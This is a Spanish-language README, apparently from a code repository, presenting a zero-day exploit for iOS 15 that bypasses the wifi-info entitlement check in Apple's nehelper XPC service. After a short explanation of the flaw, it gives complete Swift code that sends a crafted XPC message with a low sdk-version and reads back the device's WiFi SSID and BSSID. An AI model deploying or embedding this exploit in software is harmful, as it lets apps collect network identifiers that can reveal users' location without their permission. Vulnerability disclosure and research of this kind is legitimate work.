
Exploit de día cero para iOS 15 (sigue funcionando en 15.0.2)
He actualizado este código para evitar usar la API privada directamente. Leer más en mi entrada de blog. Sin embargo, eso significa que ahora este código es específico de la versión de iOS y posiblemente específico del modelo de dispositivo. Así que, si no funciona en tu dispositivo, recalcula y actualiza los offsets en el archivo c.c. El código original se puede encontrar en la rama direct.
El endpoint XPC com.apple.nehelper acepta el parámetro sdk-version proporcionado por el usuario y, si su valor es menor o igual a 524288, se omite la comprobación de entitlement com.apple.developer.networking.wifi-info.
Esto hace posible que cualquier aplicación que cumpla los requisitos (p. ej., que posea autorización de acceso a la ubicación) obtenga acceso a la información WiFi sin el entitlement requerido.
Esto ocurre en -[NEHelperWiFiInfoManager checkIfEntitled:] en /usr/libexec/nehelper.
func wifi_info() -> String? {
let connection = xpc_connection_create_mach_service("com.apple.nehelper", nil, 2)
xpc_connection_set_event_handler(connection, { _ in })
xpc_connection_resume(connection)
let xdict = xpc_dictionary_create(nil, nil, 0)
xpc_dictionary_set_uint64(xdict, "delegate-class-id", 10)
xpc_dictionary_set_uint64(xdict, "sdk-version", 1) // may be omitted entirely
xpc_dictionary_set_string(xdict, "interface-name", "en0")
let reply = xpc_connection_send_message_with_reply_sync(connection, xdict)
if let result = xpc_dictionary_get_value(reply, "result-data") {
let ssid = String(cString: xpc_dictionary_get_string(result, "SSID"))
let bssid = String(cString: xpc_dictionary_get_string(result, "BSSID"))
return "SSID: \(ssid)\nBSSID: \(bssid)"
} else {
return nil
}
}